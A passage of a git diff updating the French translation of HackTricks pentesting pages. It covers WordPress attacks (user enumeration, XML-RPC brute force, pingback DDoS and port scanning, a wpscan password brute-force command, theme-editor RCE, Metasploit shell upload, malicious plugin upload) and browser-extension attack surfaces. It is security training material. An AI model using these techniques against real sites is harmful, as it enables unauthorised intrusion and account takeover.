[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md index 27fd13fb6..667493709 100644 --- a/network-services-pentesting/pentesting-web/wordpress.md +++ b/network-services-pentesting/pentesting-web/wordpress.md @@ -9,15 +9,15 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -25,7 +25,7 @@ Accédez dès aujourd'hui : ## Informations de base Les fichiers **téléchargés** vont à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ -Les fichiers des **thèmes peuvent être trouvés dans /wp-content/themes/**, donc si vous modifiez du code php du thème pour obtenir une RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ +Les fichiers des **thèmes se trouvent dans /wp-content/themes/**, donc si vous modifiez du code php du thème pour obtenir une RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ **Une autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) Dans **wp-config.php**, vous pouvez trouver le mot de passe root de la base de données. @@ -52,13 +52,13 @@ Chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /w * Le fichier `wp-config.php` contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, et le préfixe de table de base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage. -### Permissions des utilisateurs +### Autorisations des utilisateurs * **Administrateur** -* **Éditeur** : Publie et gère ses propres publications et celles des autres. -* **Auteur** : Publie et gère ses propres publications. -* **Contributeur** : Rédige et gère ses publications mais ne peut pas les publier. -* **Abonné** : Parcourt les publications et modifie son profil. +* **Éditeur** : Publie et gère ses propres publications et celles des autres +* **Auteur** : Publie et gère ses propres publications +* **Contributeur** : Rédige et gère ses publications mais ne peut pas les publier +* **Abonné** : Parcourir les publications et modifier leur profil ## **Énumération passive** @@ -90,7 +90,7 @@ curl https://victim.com/ | grep 'content="WordPress' ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Obtenir des thèmes +### Obtenir les thèmes {% code overflow="wrap" %} ```bash @@ -105,11 +105,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ``` {% endcode %} -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez-y aujourd'hui : +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -121,9 +121,9 @@ Vous ne pourrez probablement pas trouver toutes les extensions et thèmes possib ### Utilisateurs -**Forçage d'ID** +**Bruteforce d'ID** -Vous obtenez des utilisateurs valides d'un site WordPress en forçant les ID des utilisateurs : +Vous obtenez des utilisateurs valides d'un site WordPress en forçant de manière brutale les identifiants d'utilisateurs : ``` curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -135,7 +135,7 @@ Vous pouvez également essayer d'obtenir des informations sur les utilisateurs e ``` curl http://blog.example.com/wp-json/wp/v2/users ``` -Un autre endpoint `/wp-json/` qui peut révéler des informations sur les utilisateurs est : +Un autre point de terminaison `/wp-json/` qui peut révéler des informations sur les utilisateurs est : ``` curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` @@ -149,7 +149,7 @@ Lors de la connexion à **`/wp-login.php`**, le **message** est **différent** s ### XML-RPC -Si `xml-rpc.php` est actif, vous pouvez effectuer une attaque par force brute sur les identifiants ou l'utiliser pour lancer des attaques par déni de service sur d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple). +Si `xml-rpc.php` est actif, vous pouvez effectuer une attaque par force brute sur les informations d'identification ou l'utiliser pour lancer des attaques par déni de service sur d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple). Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête : @@ -180,7 +180,7 @@ Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de ![](<../../.gitbook/assets/image (102).png>) -En utilisant les bons identifiants, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +En utilisant les identifiants corrects, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```markup @@ -221,7 +221,7 @@ Cette méthode est destinée aux programmes et non aux humains, et est ancienne, **DDoS ou balayage de ports** Si vous trouvez la méthode _**pingback.ping**_ dans la liste, vous pouvez demander à Wordpress d'envoyer une requête arbitraire à n'importe quel hôte/port.\ -Cela peut être utilisé pour demander à **des milliers** de **sites Wordpress** d'**accéder** à un **emplacement** spécifique (causant ainsi un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire **scanner** Wordpress sur un réseau interne (vous pouvez indiquer n'importe quel port). +Cela peut être utilisé pour demander à **des milliers** de **sites Wordpress** d'**accéder** à un **emplacement** spécifique (causant ainsi un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire **scanner** un réseau interne par **Wordpress** (vous pouvez indiquer n'importe quel port). ```markup pingback.ping @@ -277,7 +277,7 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -294,7 +294,7 @@ return new WP_Error( ``` ## **Panel RCE** -**Modification d'un fichier php du thème utilisé (identifiants d'administration requis)** +**Modification d'un fichier php du thème utilisé (identifiants d'administration nécessaires)** Apparence → Éditeur de thème → Modèle 404 (à droite) @@ -312,11 +312,9 @@ use exploit/unix/webapp/wp_admin_shell_upload ``` ## Plugin RCE -### Plugin RCE +### Plugin PHP -### Plugin RCE - -Il est possible de télécharger des fichiers .php en tant que plugin.\ +Il est peut-être possible de télécharger des fichiers .php en tant que plugin.\ Créez votre backdoor php en utilisant par exemple : ![](<../../.gitbook/assets/image (407).png>) @@ -333,7 +331,7 @@ Cliquez sur Procced : ![](<../../.gitbook/assets/image (412).png>) -Probablement, cela ne semblera rien faire, mais si vous allez dans Média, vous verrez votre shell téléchargé : +Probablement, cela ne fera rien en apparence, mais si vous allez dans Média, vous verrez votre shell téléchargé : ![](<../../.gitbook/assets/image (413).png>) @@ -346,21 +344,18 @@ Accédez-y et vous verrez l'URL pour exécuter le reverse shell : Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un shell web. Ce processus est effectué via le tableau de bord WordPress comme suit : 1. **Acquisition du plugin** : Le plugin est obtenu à partir d'une source comme Exploit DB comme [**ici**](https://www.exploit-db.com/exploits/36374). - 2. **Installation du plugin** : -- Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Extensions > Téléverser une extension`. -- Téléchargez le fichier zip du plugin téléchargé. - +* Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Extensions > Téléverser une extension`. +* Téléchargez le fichier zip du plugin téléchargé. 3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord. - 4. **Exploitation** : -- Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable. -- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site. -- Il est à noter que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress. +* Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable. +* Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site. +* Il est à noter que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress. -Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnérabilités de cette manière est illégal et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, tel que des tests d'intrusion avec une autorisation explicite. +Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnérabilités de cette manière est illégal et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, tel que les tests d'intrusion avec une autorisation explicite. -**Pour des étapes plus détaillées, consultez : [https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)** +**Pour des étapes plus détaillées, consultez :** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/) ## Post Exploitation @@ -382,6 +377,8 @@ define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` +Également, **installez uniquement des plugins et thèmes WordPress fiables**. + ### Plugins de sécurité * [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) @@ -396,10 +393,10 @@ add_filter( 'auto_update_theme', '__return_true' ); * **Limitez les tentatives de connexion** pour prévenir les attaques par force brute * Renommez le fichier **`wp-admin.php`** et autorisez l'accès uniquement en interne ou depuis certaines adresses IP. -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -413,7 +410,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/browser-extension-pentesting-methodology/README.md b/pentesting-web/browser-extension-pentesting-methodology/README.md index c507244cd..ec4837952 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -2,27 +2,27 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Informations de base -Les extensions de navigateur sont écrites en JavaScript et chargées par le navigateur en arrière-plan. Elles ont leur [DOM](https://www.w3schools.com/js/js_htmldom.asp) mais peuvent interagir avec les DOM d'autres sites. Cela signifie qu'elles peuvent compromettre la confidentialité, l'intégrité et la disponibilité d'autres sites (CIA). +Les extensions de navigateur sont écrites en JavaScript et chargées par le navigateur en arrière-plan. Elles ont leur [DOM](https://www.w3schools.com/js/js\_htmldom.asp) mais peuvent interagir avec les DOM d'autres sites. Cela signifie qu'elles peuvent compromettre la confidentialité, l'intégrité et la disponibilité d'autres sites (CIA). ## Principaux composants Les mises en page des extensions sont mieux visualisées et se composent de trois composants. Examinons chaque composant en détail. -

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

+

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

### **Scripts de contenu** @@ -34,12 +34,12 @@ Le cœur de l'extension contient la plupart des privilèges/d'accès de l'extens ### **Binaire natif** -L'extension permet un binaire natif qui peut **accéder à la machine hôte avec les pleins privilèges de l'utilisateur**. Le binaire natif interagit avec le cœur de l'extension via l'interface de programmation d'application de plugin Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plugins de navigateur. +L'extension permet un binaire natif qui peut **accéder à la machine hôte avec les privilèges complets de l'utilisateur.** Le binaire natif interagit avec le cœur de l'extension via l'interface de programmation d'application de plugin Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plugins de navigateur. ### Limites {% hint style="danger" %} -Pour obtenir les pleins privilèges de l'utilisateur, un attaquant doit convaincre l'extension de transmettre une entrée malveillante du script de contenu au cœur de l'extension et du cœur de l'extension au binaire natif. +Pour obtenir les privilèges complets de l'utilisateur, un attaquant doit convaincre l'extension de transmettre une entrée malveillante du script de contenu au cœur de l'extension et du cœur de l'extension au binaire natif. {% endhint %} Chaque composant de l'extension est séparé des autres par des **limites protectrices solides**. Chaque composant s'exécute dans un **processus de système d'exploitation séparé**. Les scripts de contenu et les cœurs d'extension s'exécutent dans des **processus sandbox** inaccessibles à la plupart des services du système d'exploitation. @@ -115,24 +115,24 @@ document.body.appendChild(div); ```
-Un message est envoyé aux pages d'extension par le script de contenu lorsque ce bouton est cliqué, en utilisant l'API [**runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux API, le `storage` étant l'une des rares exceptions. Pour les fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages d'extension avec lesquelles les scripts de contenu peuvent communiquer. +Un message est envoyé aux pages d'extension par le script de contenu lorsque ce bouton est cliqué, en utilisant l'API [**runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux APIs, le `storage` étant l'une des rares exceptions. Pour les fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages d'extension avec lesquelles les scripts de contenu peuvent communiquer. {% hint style="warning" %} Selon le navigateur, les capacités du script de contenu peuvent varier légèrement. Pour les navigateurs basés sur Chromium, la liste des capacités est disponible dans la documentation des [développeurs Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), et pour Firefox, le [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sert de source principale.\ Il est également à noter que les scripts de contenu ont la capacité de communiquer avec les scripts d'arrière-plan, leur permettant d'effectuer des actions et de transmettre des réponses. {% endhint %} -Pour visualiser et déboguer les scripts de contenu dans Chrome, le menu des outils de développement Chrome peut être accédé depuis Options > Autres outils > Outils de développement OU en appuyant sur Ctrl + Maj + I. +Pour visualiser et déboguer les scripts de contenu dans Chrome, le menu des outils de développement Chrome peut être accédé depuis Options > Autres outils > Outils de développement OU en appuyant sur Ctrl + Shift + I. Une fois les outils de développement affichés, l'onglet **Source** doit être cliqué, suivi de l'onglet **Scripts de contenu**. Cela permet d'observer l'exécution des scripts de contenu en cours à partir de diverses extensions et de définir des points d'arrêt pour suivre le flux d'exécution. ### Scripts de contenu injectés {% hint style="success" %} -Notez que les **Scripts de contenu ne sont pas obligatoires** car il est également possible de **injecter dynamiquement** des scripts et de les **injecter de manière programmatique** dans les pages web via **`tabs.executeScript`**. Cela offre en fait un contrôle plus **granulaire**. +Notez que les **Scripts de contenu ne sont pas obligatoires** car il est également possible d'**injecter dynamiquement** des scripts et de les **injecter de manière programmatique** dans les pages web via **`tabs.executeScript`**. Cela offre en fait un contrôle plus **granulaire**. {% endhint %} -Pour l'injection programmatique d'un script de contenu, l'extension doit avoir les [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces autorisations peuvent être sécurisées soit en les **demandant** dans le manifeste de l'extension, soit de manière temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). +Pour l'injection programmatique d'un script de contenu, l'extension doit avoir les [permissions hôtes](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces permissions peuvent être sécurisées soit en les **demandant** dans le manifeste de l'extension, soit de manière temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). #### Exemple d'extension basée sur activeTab @@ -168,7 +168,7 @@ files: ["content-script.js"] }); }); ``` -* **Injecter une fonction** au clic: +* **Injecter une fonction** au clic : ```javascript //service-worker.js - Inject a function function injectedFunction() { @@ -195,7 +195,7 @@ js : [ "contentScript.js" ], // Another example chrome.tabs.executeScript(tabId, { file: "content_script.js" }); ``` -Pour inclure ou exclure davantage d'URL, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**. +Pour inclure ou exclure plus d'URL, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**. ### Scripts de contenu `run_at` @@ -204,8 +204,8 @@ Le champ `run_at` contrôle **quand les fichiers JavaScript sont injectés dans Les valeurs possibles sont : * **`document_idle`** : Chaque fois que possible -* **`document_start`** : Après tout fichier `css`, mais avant que tout autre DOM ne soit construit ou que tout autre script ne soit exécuté. -* **`document_end`** : Immédiatement après la fin de la construction du DOM, mais avant le chargement de sous-ressources telles que les images et les cadres. +* **`document_start`** : Après tout fichier `css`, mais avant que tout autre DOM ne soit construit ou qu'un autre script ne soit exécuté. +* **`document_end`** : Immédiatement après que le DOM est complet, mais avant que des sous-ressources comme les images et les cadres ne soient chargées. #### Via `manifest.json` ```json @@ -238,9 +238,9 @@ Les messages envoyés par les scripts de contenu sont reçus par la **page d'arr **Points Clés**: -- **Rôle de la Page d'Arrière-plan:** Agit comme le centre névralgique de l'extension, assurant la communication et la coordination entre les différentes parties de l'extension. -- **Persistance:** C'est une entité toujours présente, invisible pour l'utilisateur mais essentielle au fonctionnement de l'extension. -- **Génération Automatique:** Si elle n'est pas explicitement définie, le navigateur créera automatiquement une page d'arrière-plan. Cette page générée automatiquement inclura tous les scripts d'arrière-plan spécifiés dans le manifeste de l'extension, garantissant le bon fonctionnement des tâches d'arrière-plan de l'extension. +* **Rôle de la Page d'Arrière-plan:** Agit comme le centre névralgique de l'extension, assurant la communication et la coordination entre les différentes parties de l'extension. +* **Persistance:** C'est une entité toujours présente, invisible pour l'utilisateur mais essentielle au fonctionnement de l'extension. +* **Génération Automatique:** Si elle n'est pas explicitement définie, le navigateur créera automatiquement une page d'arrière-plan. Cette page générée automatiquement inclura tous les scripts d'arrière-plan spécifiés dans le manifeste de l'extension, garantissant le bon fonctionnement des tâches d'arrière-plan de l'extension. {% hint style="success" %} La commodité offerte par le navigateur en générant automatiquement une page d'arrière-plan (lorsqu'elle n'est pas explicitement déclarée) garantit que tous les scripts d'arrière-plan nécessaires sont intégrés et opérationnels, simplifiant le processus de configuration de l'extension. @@ -258,7 +258,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" }); ``` Il utilise l'[API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) pour écouter les messages. Lorsqu'un message `"explain"` est reçu, il utilise l'[API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) pour ouvrir une page dans un nouvel onglet. -Pour déboguer le script arrière-plan, vous pouvez accéder aux **détails de l'extension et inspecter le service worker**, cela ouvrira les outils de développement avec le script arrière-plan : +Pour déboguer le script d'arrière-plan, vous pouvez accéder aux **détails de l'extension et inspecter le service worker**, cela ouvrira les outils de développement avec le script d'arrière-plan :
@@ -274,14 +274,14 @@ Les extensions de navigateur peuvent contenir différents types de pages : Notez que ces pages ne sont pas persistantes comme les pages d'arrière-plan car elles chargent dynamiquement du contenu en cas de nécessité. Malgré cela, elles partagent certaines capacités avec la page d'arrière-plan : -- **Communication avec les scripts de contenu :** Similaire à la page d'arrière-plan, ces pages peuvent recevoir des messages des scripts de contenu, facilitant l'interaction au sein de l'extension. -- **Accès aux API spécifiques à l'extension :** Ces pages bénéficient d'un accès complet aux API spécifiques à l'extension, sous réserve des autorisations définies pour l'extension. +* **Communication avec les scripts de contenu :** Similaire à la page d'arrière-plan, ces pages peuvent recevoir des messages des scripts de contenu, facilitant l'interaction au sein de l'extension. +* **Accès aux API spécifiques à l'extension :** Ces pages bénéficient d'un accès complet aux API spécifiques à l'extension, sous réserve des autorisations définies pour l'extension. ### `permissions` & `host_permissions` **`permissions`** et **`host_permissions`** sont des entrées du `manifest.json` qui indiqueront **quelles autorisations** les extensions de navigateur possèdent (stockage, localisation...) et dans **quelles pages web**. -Comme les extensions de navigateur peuvent être si **privilégiées**, une extension malveillante ou compromise pourrait permettre à l'attaquant **différents moyens de voler des informations sensibles et d'espionner l'utilisateur**. +Comme les extensions de navigateur peuvent être si **privilégiées**, une malveillante ou compromise pourrait permettre à l'attaquant **différents moyens de voler des informations sensibles et d'espionner l'utilisateur**. Découvrez comment ces paramètres fonctionnent et comment ils pourraient être abusés dans : @@ -305,7 +305,7 @@ Pour plus d'informations sur CSP et les éventuelles contournements, consultez : ### `web_accessible_resources` -pour qu'une page web puisse accéder à une page d'une extension de navigateur, une page `.html` par exemple, cette page doit être mentionnée dans le champ **`web_accessible_resources`** du `manifest.json`.\ +pour qu'une page web puisse accéder à une page d'une extension de navigateur, par exemple une page `.html`, cette page doit être mentionnée dans le champ **`web_accessible_resources`** du fichier `manifest.json`.\ Par exemple : ```javascript { @@ -357,19 +357,23 @@ Selon la [**documentation**](https://developer.chrome.com/docs/extensions/refere ``` * Si elle est spécifiée comme vide : **`"externally_connectable": {}`**, aucune application ou site web ne pourra se connecter. -Moins d'extensions et d'URLs indiqués ici, plus petite sera la surface d'attaque. +Moins il y a d'extensions et d'URL indiquées ici, plus la surface d'attaque sera réduite. {% hint style="danger" %} -Si une page web vulnérable aux attaques XSS ou à la prise de contrôle est indiquée dans **`externally_connectable`**, un attaquant pourra envoyer des messages directement au script arrière-plan, contournant complètement le Content Script et sa CSP. +Si une page web vulnérable aux attaques XSS ou à la prise de contrôle est indiquée dans **`externally_connectable`**, un attaquant pourra envoyer des messages directement au script d'arrière-plan, contournant complètement le Content Script et sa CSP. -Il s'agit donc d'une **bypass très puissant**. +Il s'agit donc d'une **échappatoire très puissante**. + +De plus, si le client installe une extension malveillante, même si elle n'est pas autorisée à communiquer avec l'extension vulnérable, elle pourrait injecter des données XSS dans une page web autorisée ou abuser des API **`WebRequest`** ou **`DeclarativeNetRequest`** pour manipuler les requêtes sur un domaine ciblé en modifiant une requête de page pour un fichier **JavaScript**. (Notez que la CSP sur la page ciblée pourrait empêcher ces attaques). Cette idée provient [**de cet article**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). {% endhint %} -## Communication entre le Web **↔︎** le Content Script +## -Les environnements dans lesquels les **scripts de contenu** opèrent et où les pages hôtes existent sont **séparés** les uns des autres, assurant une **isolation**. Malgré cette isolation, les deux ont la capacité d'interagir avec le **Modèle d'Objet de Document (DOM)** de la page, une ressource partagée. Pour que la page hôte puisse communiquer avec le **script de contenu**, ou indirectement avec l'extension via le script de contenu, il est nécessaire d'utiliser le **DOM** accessible par les deux parties comme canal de communication. +## Communication Web **↔︎** Content Script -### Envoi de Messages +Les environnements où les **scripts de contenu** opèrent et où les pages hôtes existent sont **séparés** les uns des autres, assurant une **isolation**. Malgré cette isolation, les deux ont la capacité d'interagir avec le **Modèle d'Objet de Document (DOM)** de la page, une ressource partagée. Pour que la page hôte puisse communiquer avec le **script de contenu**, ou indirectement avec l'extension via le script de contenu, il est nécessaire d'utiliser le **DOM** accessible par les deux parties comme canal de communication. + +### Messages Postés {% code title="content-script.js" %} ```javascript @@ -422,7 +426,7 @@ Une autre façon possible de communication pourrait être à travers les **URLs ### DOM -Ce n'est pas "exactement" un moyen de communication, mais le **web et le script de contenu auront accès au DOM web**. Donc, si le **script de contenu** lit des informations à partir de celui-ci, **faisant confiance au DOM web**, le web pourrait **modifier ces données** (car le web ne devrait pas être digne de confiance, ou parce que le web est vulnérable aux XSS) et **compromettre le script de contenu**. +Ce n'est pas "exactement" un moyen de communication, mais le **web et le script de contenu auront accès au DOM web**. Ainsi, si le **script de contenu** lit des informations à partir de celui-ci, **faisant confiance au DOM web**, le web pourrait **modifier ces données** (car le web ne devrait pas être digne de confiance, ou parce que le web est vulnérable aux XSS) et **compromettre le script de contenu**. Vous pouvez également trouver un exemple de **XSS basé sur le DOM pour compromettre une extension de navigateur** dans : @@ -452,7 +456,7 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"}); console.log(response); })(); ``` -Envoyer une requête depuis l'**extension** (généralement un **script d'arrière-plan**). Un script de contenu peut utiliser les fonctions, à condition de spécifier l'onglet auquel l'envoyer. Exemple de comment envoyer un message au script de contenu dans l'onglet sélectionné : +Envoyer une requête depuis 